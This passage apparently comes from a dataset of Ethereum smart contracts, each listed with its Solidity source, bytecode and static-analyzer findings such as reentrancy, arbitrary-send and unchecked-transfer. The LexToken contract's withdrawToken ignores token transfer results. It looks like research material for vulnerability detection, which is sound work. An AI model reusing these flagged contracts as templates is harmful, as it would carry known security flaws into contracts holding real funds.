181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ac490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cec57613ca883600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ac490919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d0682600a54613a7a90919063ffffffff16565b600a81905550613d2181600b54613ac490919063ffffffff16565b600b819055505050565b600080600080613d576064613d49888a61297e90919063ffffffff16565b612a0490919063ffffffff16565b90506000613d816064613d73888b61297e90919063ffffffff16565b612a0490919063ffffffff16565b90506000613daa82613d9c858c613a7a90919063ffffffff16565b613a7a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613dda858961297e90919063ffffffff16565b90506000613df1868961297e90919063ffffffff16565b90506000613e08878961297e90919063ffffffff16565b90506000613e3182613e238587613a7a90919063ffffffff16565b613a7a90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e85ceba0e67fe6ceec89cc04b72c4ef4bb31dec8cf26b96dc667339597d45c3064736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 813 |
0xbfca2bc8f650a2dce8f1f5687e170f0d8bcaa652 | /*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string[]public offers; // offers made for lexToken redemption - updateable by manager
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
event AddOffer(uint256 index, string terms);
event AmendOffer(uint256 index, string terms);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Redeem(string redemption);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, string details);
event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale);
event UpdateTransferability(bool transferable);
function init(
address payable _manager,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _details,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
if (_managerSupply > 0) {_mint(_manager, _managerSupply);}
if (_saleSupply > 0) {_mint(address(this), _saleSupply);}
if (_forSale) {require(_saleRate > 0, "_saleRate = 0");}
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function burn(uint256 value) external {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) external {
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_burn(from, value);
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function redeem(uint256 value, string calldata redemption) external { // burn lexToken with redemption message
_burn(msg.sender, value);
emit Redeem(redemption);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function addOffer(string calldata offer) external onlyManager {
offers.push(offer);
emit AddOffer(offers.length, offer);
}
function amendOffer(uint256 index, string calldata offer) external onlyManager {
offers[index] = offer;
emit AmendOffer(index, offer);
}
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, string calldata _details) external onlyManager {
manager = _manager;
details = _details;
emit UpdateGovernance(_manager, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);}
if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);}
if (_forSale) {require(_saleRate > 0, "_saleRate = 0");}
emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract
require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue);
}
}
} | 0x6080604052600436106102085760003560e01c80634f0371e9116101185780637ecebe00116100a0578063a457c2d71161006f578063a457c2d714610cd8578063a9059cbb14610d11578063bb102aea14610d4a578063d505accf14610d5f578063e3537d6814610dbd57610304565b80637ecebe0014610c515780638a72ea6a14610c8457806392ff0d3114610cae57806395d89b4114610cc357610304565b806364629ff7116100e757806364629ff71461098457806370a08231146109c457806379cc6790146109f75780637a0c21ee14610a305780637c88e3d914610b8657610304565b80634f0371e91461088d57806355b6ed5c14610908578063565974d31461094357806361d3458f1461095857610304565b8063313ce5671161019b57806340557cf11161016a57806340557cf1146107cf57806340c10f19146107e457806342966c681461081d578063466ccac014610847578063481c6a751461085c57610304565b8063313ce5671461068b5780633644e515146106b657806339509351146106cb5780633b3e672f1461070457610304565b806321af8235116101d757806321af82351461052657806323b872dd146105b157806324b76fd5146105f457806330adf81f1461067657610304565b806306fdde0314610309578063095ea7b31461039357806318160ddd146103e05780631d809a791461040757610304565b366103045760095460ff1661024f576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d806000811461029c576040519150601f19603f3d011682016040523d82523d6000602084013e6102a1565b606091505b50509050806102e2576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b61030130336102fc60015434610e3f90919063ffffffff16565b610e6f565b50005b600080fd5b34801561031557600080fd5b5061031e610f1d565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610358578181015183820152602001610340565b50505050905090810190601f1680156103855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039f57600080fd5b506103cc600480360360408110156103b657600080fd5b506001600160a01b038135169060200135610fab565b604080519115158252519081900360200190f35b3480156103ec57600080fd5b506103f5610fc1565b60408051918252519081900360200190f35b34801561041357600080fd5b506105246004803603608081101561042a57600080fd5b810190602081018135600160201b81111561044457600080fd5b82018360208201111561045657600080fd5b803590602001918460208302840111600160201b8311171561047757600080fd5b919390929091602081019035600160201b81111561049457600080fd5b8201836020820111156104a657600080fd5b803590602001918460208302840111600160201b831117156104c757600080fd5b919390929091602081019035600160201b8111156104e457600080fd5b8201836020820111156104f657600080fd5b803590602001918460208302840111600160201b8311171561051757600080fd5b9193509150351515610fc7565b005b34801561053257600080fd5b506105246004803603604081101561054957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561057357600080fd5b82018360208201111561058557600080fd5b803590602001918460018302840111600160201b831117156105a657600080fd5b5090925090506111fb565b3480156105bd57600080fd5b506103cc600480360360608110156105d457600080fd5b506001600160a01b038135811691602081013590911690604001356112dc565b34801561060057600080fd5b506105246004803603604081101561061757600080fd5b81359190810190604081016020820135600160201b81111561063857600080fd5b82018360208201111561064a57600080fd5b803590602001918460018302840111600160201b8311171561066b57600080fd5b50909250905061137b565b34801561068257600080fd5b506103f56113ea565b34801561069757600080fd5b506106a061140e565b6040805160ff9092168252519081900360200190f35b3480156106c257600080fd5b506103f561141e565b3480156106d757600080fd5b506103cc600480360360408110156106ee57600080fd5b506001600160a01b038135169060200135611424565b34801561071057600080fd5b506105246004803603604081101561072757600080fd5b810190602081018135600160201b81111561074157600080fd5b82018360208201111561075357600080fd5b803590602001918460208302840111600160201b8311171561077457600080fd5b919390929091602081019035600160201b81111561079157600080fd5b8201836020820111156107a357600080fd5b803590602001918460208302840111600160201b831117156107c457600080fd5b50909250905061145a565b3480156107db57600080fd5b506103f5611539565b3480156107f057600080fd5b506105246004803603604081101561080757600080fd5b506001600160a01b03813516906020013561153f565b34801561082957600080fd5b506105246004803603602081101561084057600080fd5b5035611597565b34801561085357600080fd5b506103cc6115a4565b34801561086857600080fd5b506108716115ad565b604080516001600160a01b039092168252519081900360200190f35b34801561089957600080fd5b50610524600480360360208110156108b057600080fd5b810190602081018135600160201b8111156108ca57600080fd5b8201836020820111156108dc57600080fd5b803590602001918460018302840111600160201b831117156108fd57600080fd5b5090925090506115bc565b34801561091457600080fd5b506103f56004803603604081101561092b57600080fd5b506001600160a01b03813581169160200135166116b2565b34801561094f57600080fd5b5061031e6116cf565b34801561096457600080fd5b506105246004803603602081101561097b57600080fd5b5035151561172a565b34801561099057600080fd5b50610524600480360360808110156109a757600080fd5b5080359060208101359060408101351515906060013515156117c5565b3480156109d057600080fd5b506103f5600480360360208110156109e757600080fd5b50356001600160a01b03166118f4565b348015610a0357600080fd5b5061052460048036036040811015610a1a57600080fd5b506001600160a01b038135169060200135611906565b348015610a3c57600080fd5b506105246004803603610160811015610a5457600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b811115610a9e57600080fd5b820183602082011115610ab057600080fd5b803590602001918460018302840111600160201b83111715610ad157600080fd5b919390929091602081019035600160201b811115610aee57600080fd5b820183602082011115610b0057600080fd5b803590602001918460018302840111600160201b83111715610b2157600080fd5b919390929091602081019035600160201b811115610b3e57600080fd5b820183602082011115610b5057600080fd5b803590602001918460018302840111600160201b83111715610b7157600080fd5b91935091508035151590602001351515611945565b348015610b9257600080fd5b5061052460048036036040811015610ba957600080fd5b810190602081018135600160201b811115610bc357600080fd5b820183602082011115610bd557600080fd5b803590602001918460208302840111600160201b83111715610bf657600080fd5b919390929091602081019035600160201b811115610c1357600080fd5b820183602082011115610c2557600080fd5b803590602001918460208302840111600160201b83111715610c4657600080fd5b509092509050611bb2565b348015610c5d57600080fd5b506103f560048036036020811015610c7457600080fd5b50356001600160a01b0316611c86565b348015610c9057600080fd5b5061031e60048036036020811015610ca757600080fd5b5035611c98565b348015610cba57600080fd5b506103cc611d0e565b348015610ccf57600080fd5b5061031e611d1d565b348015610ce457600080fd5b506103cc60048036036040811015610cfb57600080fd5b506001600160a01b038135169060200135611d78565b348015610d1d57600080fd5b506103cc60048036036040811015610d3457600080fd5b506001600160a01b038135169060200135611dae565b348015610d5657600080fd5b506103f5611e09565b348015610d6b57600080fd5b50610524600480360360e0811015610d8257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611e0f565b348015610dc957600080fd5b5061052460048036036040811015610de057600080fd5b81359190810190604081016020820135600160201b811115610e0157600080fd5b820183602082011115610e1357600080fd5b803590602001918460018302840111600160201b83111715610e3457600080fd5b509092509050611ff3565b600082610e4e57506000610e69565b82820282848281610e5b57fe5b0414610e6657600080fd5b90505b92915050565b6001600160a01b0383166000908152600b6020526040902054610e9290826120d1565b6001600160a01b038085166000908152600b60205260408082209390935590841681522054610ec190826120e6565b6001600160a01b038084166000818152600b602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610fa35780601f10610f7857610100808354040283529160200191610fa3565b820191906000526020600020905b815481529060010190602001808311610f8657829003601f168201915b505050505081565b6000610fb83384846120f8565b50600192915050565b60025481565b6000546001600160a01b03163314611011576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b858414801561101f57508582145b611070576040805162461bcd60e51b815260206004820152601760248201527f21746f6b656e2f7769746864726177546f2f76616c7565000000000000000000604482015290519081900360640190fd5b60005b868110156111f157600084848381811061108957fe5b905060200201359050821561112f578888838181106110a457fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561110057600080fd5b505afa158015611114573d6000803e3d6000fd5b505050506040513d602081101561112a57600080fd5b505190505b88888381811061113b57fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb88888581811061116557fe5b905060200201356001600160a01b0316836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156111bc57600080fd5b505af11580156111d0573d6000803e3d6000fd5b505050506040513d60208110156111e657600080fd5b505050600101611073565b5050505050505050565b6000546001600160a01b03163314611245576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03851617905561126c600583836122c8565b50826001600160a01b03167f28227c29e8844719ad1e9362701a58f2fd9151da99edd16146e6066f7995de60838360405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a2505050565b60095460009062010000900460ff1661132c576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b6001600160a01b0384166000908152600a602090815260408083203380855292529091205461136691869161136190866120d1565b6120f8565b611371848484610e6f565b5060019392505050565b611385338461215a565b7ffaaa716cf73cc51702fa1de9713c82c6cd37a48c3abd70d72ef7e2051b60788b828260405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a1505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600054600160a01b900460ff1681565b60045481565b336000818152600a602090815260408083206001600160a01b03871684529091528120549091610fb891859061136190866120e6565b82811461149a576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60095462010000900460ff166114e7576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b60005b838110156115325761152a3386868481811061150257fe5b905060200201356001600160a01b031685858581811061151e57fe5b90506020020135610e6f565b6001016114ea565b5050505050565b60015481565b6000546001600160a01b03163314611589576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b61159382826121eb565b5050565b6115a1338261215a565b50565b60095460ff1681565b6000546001600160a01b031681565b6000546001600160a01b03163314611606576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60078054600181018255600091909152611643907fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880183836122c8565b5060075460408051828152602081018281529181018490527fbc51c630f8cb647f3f7b7f755e8a9a267b836d659ef4fd39444767b2e99f8eb892918591859160608201848480828437600083820152604051601f909101601f1916909201829003965090945050505050a15050565b600a60209081526000928352604080842090915290825290205481565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610fa35780601f10610f7857610100808354040283529160200191610fa3565b6000546001600160a01b03163314611774576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6009805482151562010000810262ff0000199092169190911790915560408051918252517f6bac9a12247929d003198785fd8281eecfab25f64a2342832fc7e0fe2a5b99bd9181900360200190a150565b6000546001600160a01b0316331461180f576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60018490556009805460ff1916821515179055821580159061182e5750815b1561183d5761183d308461215a565b60008311801561184b575081155b1561185a5761185a30846121eb565b80156118a557600084116118a5576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b604080518581526020810185905283151581830152821515606082015290517fc731f083c0c404c37cc5224632a9920c93721188c2b3a25442ba50173c538a0a9181900360800190a150505050565b600b6020526000908152604090205481565b6001600160a01b0382166000908152600a602090815260408083203380855292529091205461193b91849161136190856120d1565b611593828261215a565b600954610100900460ff1615611990576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9a5d1a585b1a5e995960aa1b604482015290519081900360640190fd5b8d6000806101000a8154816001600160a01b0302191690836001600160a01b031602179055508c600060146101000a81548160ff021916908360ff1602179055508a600181905550886003819055508787600591906119f09291906122c8565b506119fd600687876122c8565b50611a0a600885856122c8565b506009805461010060ff199091168415151761ff0019161762ff0000191662010000831515021790558b15611a4357611a438e8d6121eb565b8915611a5357611a53308b6121eb565b8115611a9e5760008b11611a9e576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b60004690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60066040518082805460018160011615610100020316600290048015611b215780601f10611aff576101008083540402835291820191611b21565b820191906000526020600020905b815481529060010190602001808311611b0d575b505060408051918290038220828201825260018352603160f81b602093840152815180840196909652858201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606086015260808501959095523060a0808601919091528551808603909101815260c0909401909452505080519101206004555050505050505050505050505050565b6000546001600160a01b03163314611bfc576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b828114611c3c576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b8381101561153257611c7e858583818110611c5657fe5b905060200201356001600160a01b0316848484818110611c7257fe5b905060200201356121eb565b600101611c3f565b600c6020526000908152604090205481565b60078181548110611ca857600080fd5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815293509091830182828015610fa35780601f10610f7857610100808354040283529160200191610fa3565b60095462010000900460ff1681565b6008805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610fa35780601f10610f7857610100808354040283529160200191610fa3565b336000818152600a602090815260408083206001600160a01b03871684529091528120549091610fb891859061136190866120d1565b60095460009062010000900460ff16611dfe576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b610fb8338484610e6f565b60035481565b84421115611e4e576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6001600160a01b038088166000818152600c602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018a905260a085019590955260c08085018b90528151808603909101815260e08501825280519083012060045461190160f01b61010087015261010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa158015611f6b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611fa15750896001600160a01b0316816001600160a01b0316145b611fdc576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b611fe78a8a896120f8565b50505050505050505050565b6000546001600160a01b0316331461203d576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b81816007858154811061204c57fe5b9060005260206000200191906120639291906122c8565b507f8353bf99044ef1e4388a189da7c56d24f2b33549e3dfffdba49ca25a4e3aa1a983838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a1505050565b6000828211156120e057600080fd5b50900390565b600082820183811015610e6657600080fd5b6001600160a01b038084166000818152600a6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0382166000908152600b602052604090205461217d90826120d1565b6001600160a01b0383166000908152600b60205260409020556002546121a390826120d1565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6003546002546121fb90836120e6565b1115612237576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600b602052604090205461225a90826120e6565b6001600160a01b0383166000908152600b602052604090205560025461228090826120e6565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826122fe5760008555612344565b82601f106123175782800160ff19823516178555612344565b82800160010185558215612344579182015b82811115612344578235825591602001919060010190612329565b50612350929150612354565b5090565b5b80821115612350576000815560010161235556fea264697066735822122082a296e9e47ca1c8b4d1372aa75ab4180aa502292849d7276a6287dff5a046a664736f6c63430007040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 814 |
0x33824827a6cdb3f2f00c1f6cec8f6df2b3d233fe | /**
*Submitted for verification at Etherscan.io on 2021-10-31
*/
// SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.9;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
